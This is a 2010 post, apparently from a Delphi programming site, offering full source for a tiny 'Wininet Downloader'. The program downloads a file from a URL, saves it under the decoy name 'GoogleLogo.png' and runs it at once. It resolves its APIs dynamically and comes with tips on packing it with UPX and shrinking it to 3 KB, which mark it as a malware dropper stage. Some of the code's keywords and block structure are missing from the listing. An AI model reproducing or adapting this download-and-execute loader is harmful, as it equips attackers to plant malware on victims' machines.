Wininet Downloader - 3.0 KB

posted 8 Jun 2010, 18:13 by Delphi Basics   [ updated 25 Aug 2010, 17:46 ]
Wininet Downloader was coded by me, counterstrikewi :)

I have employed techniques written by Ms-Rem and used by GreedyFly in his downloader to remove the Run-Time Library (RTL) for a small final application; 3.0 KB packed.

A wininet downloader doesnt use the API UrlDownloadToFileA to download the file from the internet; instead it uses api calls from the wininet library, hence wininet downloader.

program WininetDownloader;

  Coder: Counterstrikewi
  Thanks to: GreedyFly, Ms-Rem
  Compiled: Delphi 7 Command line compiler (with modified System and SysInit units)

  PSecurityAttributes = ^TSecurityAttributes;
  TSecurityAttributes = record
    nLength: LongWord;
    lpSecurityDescriptor: Pointer;
    bInheritHandle: Boolean;

  POverlapped = ^TOverlapped;
  TOverlapped = record
    Internal: LongWord;
    InternalHigh: LongWord;
    Offset: LongWord;
    OffsetHigh: LongWord;
    hEvent: LongWord;

  Kernel32 = 'kernel32.dll';
  sURL : PAnsiChar = '';
  sFile : PAnsiChar = 'GoogleLogo.png';
function GetModuleHandleA(lpModuleName: PAnsiChar): LongWord; stdcall; external Kernel32 name 'GetModuleHandleA';
function GetProcAddress(hModule: LongWord; lpProcName: PAnsiChar): Pointer; stdcall; external Kernel32 name 'GetProcAddress';

  xGetProcAddress : function (hModule: LongWord; lpProcName: PAnsiChar): Pointer; stdcall;
  xLoadLibraryA : function(lpLibFileName: PAnsiChar): LongWord; stdcall;
  xFreeLibrary : function(hLibModule: LongWord): Boolean; stdcall;
  xCreateFileA : function(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: LongWord;
                          lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition,
                          dwFlagsAndAttributes: LongWord; hTemplateFile: LongWord): LongWord; stdcall;
  xWriteFile : function(hFile: LongWord; const Buffer; nNumberOfBytesToWrite: LongWord;
                        var lpNumberOfBytesWritten: LongWord;
                        lpOverlapped: POverlapped): Boolean; stdcall;
  xCloseHandle : function(hObject: LongWord): Boolean; stdcall;
  xInternetOpenA : function(lpszAgent: PAnsiChar; dwAccessType: LongWord;
                            lpszProxy, lpszProxyBypass: PAnsiChar;
                            dwFlags: LongWord): Pointer; stdcall;
  xInternetOpenUrlA : function(hInet: Pointer; lpszUrl: PAnsiChar;
                               lpszHeaders: PAnsiChar; dwHeadersLength: LongWord;
                               dwFlags: LongWord; dwContext: LongWord): Pointer; stdcall;
  xInternetReadFile : function(hFile: Pointer; lpBuffer: Pointer;
                               dwNumberOfBytesToRead: LongWord;
                               var lpdwNumberOfBytesRead: LongWord): Boolean; stdcall;
  xInternetCloseHandle : function(hInet: Pointer): Boolean; stdcall;
  xShellExecuteA : function(hWnd: LongWord; Operation, FileName, Parameters,
                            Directory: PAnsiChar; ShowCmd: Integer): LongWord; stdcall;

  hKernel32, hWininet, hShell32 : LongWord;
  hSession, hURL: Pointer;
  Buffer: Array [1..1024] of Byte;
  BufferLen, FileHandle, BytesWritten: LongWord;

  hKernel32 := GetModuleHandleA(Kernel32);
  @xGetProcAddress := GetProcAddress(hKernel32, 'GetProcAddress');
  @xLoadLibraryA := xGetProcAddress(hKernel32, 'LoadLibraryA');
  @xFreeLibrary := xGetProcAddress(hKernel32, 'FreeLibrary');
  @xCreateFileA := xGetProcAddress(hKernel32, 'CreateFileA');
  @xWriteFile := xGetProcAddress(hKernel32, 'WriteFile');
  @xCloseHandle := xGetProcAddress(hKernel32, 'CloseHandle');
  hWininet := xLoadLibraryA('wininet.dll');
  @xInternetOpenA := xGetProcAddress(hWininet, 'InternetOpenA');
  @xInternetOpenUrlA := xGetProcAddress(hWininet, 'InternetOpenUrlA');
  @xInternetReadFile := xGetProcAddress(hWininet, 'InternetReadFile');
  @xInternetCloseHandle := xGetProcAddress(hWininet, 'InternetCloseHandle');
  hShell32 := xLoadLibraryA('shell32.dll');
  @xShellExecuteA := xGetProcAddress(hShell32, 'ShellExecuteA');

  hSession := xInternetOpenA(nil, 0, nil, nil, 0);
    hURL := xInternetOpenURLA(hSession, sURL, nil, 0, 0, 0);
      FileHandle := xCreateFileA(sFile, $40000000, $00000002, nil, 2, $00000002, 0);
      BytesWritten := 0;
        xInternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen);
        xWriteFile(FileHandle, Buffer, BufferLen, BytesWritten, nil);
      until BufferLen = 0;
  xShellExecuteA(0, 'open', sFile, nil, nil, 1);

Compile this normally, and you will create an application of size 18.0 KB.
Compile using the included command line compiler (with modified system and sysinit units) and you will create an application of size 4.5 KB.
To reduce the size of the application further, you can pack it with UPX, to achieve an application of size 3.0 KB.

More could be done to reduce the size of the application (Wipe DOS stub, Remove Relocations, Remove DVCAL and PACKAGEINFO from resources) but since I am below the default cluster size for NTFS and FAT file systems (4096 bytes), I will consider my tiny wininet downloader complete.

For Windows Vista and Windows 7 compatibility, you should remove the lines calling xFreeLibrary and you may remove all declarations of xFreeLibrary.

More Downloader Sources:
Internal Downloader - Counterstrikewi
External Downloader - Counterstrikewi
Tiny Downloader - 2.5 KB

cob_258 from rewrote Wininet Downloader in ASM. Full source code for his project is attached.
Only ASM source code is included in his archive.
Delphi Basics,
8 Jun 2010, 18:20
Delphi Basics,
25 Aug 2010, 17:45